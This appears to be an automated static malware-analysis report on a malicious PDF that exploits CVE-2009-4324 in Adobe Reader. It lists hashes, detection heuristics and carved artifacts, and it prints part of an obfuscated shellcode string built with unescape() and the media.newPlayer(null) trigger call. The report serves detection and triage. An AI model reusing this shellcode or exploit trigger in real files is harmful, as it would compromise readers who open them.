Malicious PDF — malware analysis report

Static analysis result for SHA-256 ed823f27f9a13d3b…

MALICIOUS

PDF

93.5 KB Created: 2010-05-26 15:36:36 +08:00 Authoring application: WPS Office 个人版 (via PDFlib 7.0.3 (C++/Win32)) First seen: 2026-05-11
MD5: a15dd93b3bd7ba23fc6476e5665e9d09 SHA-1: 0ab08a4b7a6e70dbae9cc277dd19922b171789e8 SHA-256: ed823f27f9a13d3bc963d4b38f0e5c27892c8693c09e8d2abb186b11469d9954
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious Link

The PDF file contains embedded JavaScript that leverages the CVE-2009-4324 vulnerability, indicated by the 'media.newPlayer' heuristic. The JavaScript is obfuscated but appears to be designed to download and execute a secondary payload. The presence of a secondary embedded PDF also suggests a multi-stage attack. No specific family could be identified.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9984

Heuristics 8

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Secondary embedded PDF body has suspicious static findings critical POLYGLOT_CHILD_PDF_STATIC_TRIAGE
    A valid PDF body was found at a nonzero offset inside another container and its carved contents matched PDF exploit or lure heuristics. This catches polyglots where the top-level magic routes to ZIP/OLE while a PDF reader or downstream parser opens the hidden PDF payload.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules. (matched inside decoded stream)
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    var sc =  unescape(urpl("%Zc8d9%Z74d9%Zf424%Zeeba%Ze0ec%Z29de%Z5fc9%Z37b1%Z5731%Z8314%Z1001%Z2602%Z4207%Zdee0%Z55ee%Zdee4%Zecee%Zbabf%Zdc4f%Zdee0%Z67ee%Zd2a0%Z9c65%Z73fc%Z8465%Z8fe8%Z9965%Z55dc%Zc29a%Zdd98%Zba1b%Za86b%Zefce%Zed15%Za527%Z73a1%Z29ed%Z05d3%Z52e1%Ze6f0%Z981c%Z1fe8%Ze125%Z04e3%Z07ae%Ze511%Z99f1%Z8007%Zb265%Zddc4%Z8a33%Zd26b%Z67a5%Zc2be%Z31ed%Zda6b%Zef65%Z7525%Z0eb7%Zed5c%Z6f35%Zda23%Zec84%Z21b3%Z10b9%Zd9db%Z1f9b%Z8169%Z7512%Z8cb2%Z9b11%Z21e4%Z1099%Z891f%Z7516%Z9e8a%Zec86%Zdef0%Z13ee% …
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules. (matched inside decoded stream)
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Object number defined twice with different bodies info PDF_DUPLICATE_OBJ_BODY_INCREMENTAL
    The same indirect object (N G) is defined more than once with different body bytes. First-wins and last-wins readers will resolve different content, which is a parser-confusion shape used by targeted PDFs. Body-only differences are common in benign incremental updates, so severity is raised only when the duplicate carries active content.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 6

Files carved from inside the sample during analysis.

FilenameKindSourceSize
stream_002_off00000329.js decompressed-pdf-stream PDF FlateDecoded stream at offset 0x329 2677 bytes
SHA-256: 43df070b8f6670d24486ba843435c40e9384bad77f8d250e75174acc75f20386
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s). Carved artifact contains 1 long hex-escaped blob(s).
legacy_pdfkit_stage_000.js deobfuscated-js string-concatenation normalized Acrobat API aliases at offset 0x329 126 bytes
SHA-256: 42c3f4df375ff6f58ff655cc4f88b5cc28f0dd33b978390db3538684a6219b74
Preview script
First 1,000 lines of the extracted script
media.newPlayer(null); /* AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA */
objstm_0024_00.bin pdf-objstm-decoded PDF /ObjStm 24 0 obj (inflated) 332 bytes
SHA-256: 5e33c5e97bbc41469ea4328ae48aa20389a4ed5a4c9608e42a4e56b7bc98859c
font_00_sfnt_off0000b241.bin pdf-font-stream PDF embedded font (sfnt) at offset 0xB241 192092 bytes
SHA-256: 21ac88f7f13218f1c60435e67fe2bfe7d66bfbdb8152335d9ed765eeb78161cd
polyglot_child_pdf_off0000a1f1.pdf polyglot-child-pdf Secondary PDF body inside pdf container at offset 0xA1F1 54252 bytes
SHA-256: 3a6a44a207f3ded0339b5a3d11a12d5685439c1ae3c4c00c145e0a017b5b7572
polyglot_child_pdf_off00015df0.pdf polyglot-child-pdf Secondary PDF body inside pdf container at offset 0x15DF0 6125 bytes
SHA-256: 0b1c923c8a0028794f3a3244dc498786746334f394e41678cc58ffbeb707d0a8

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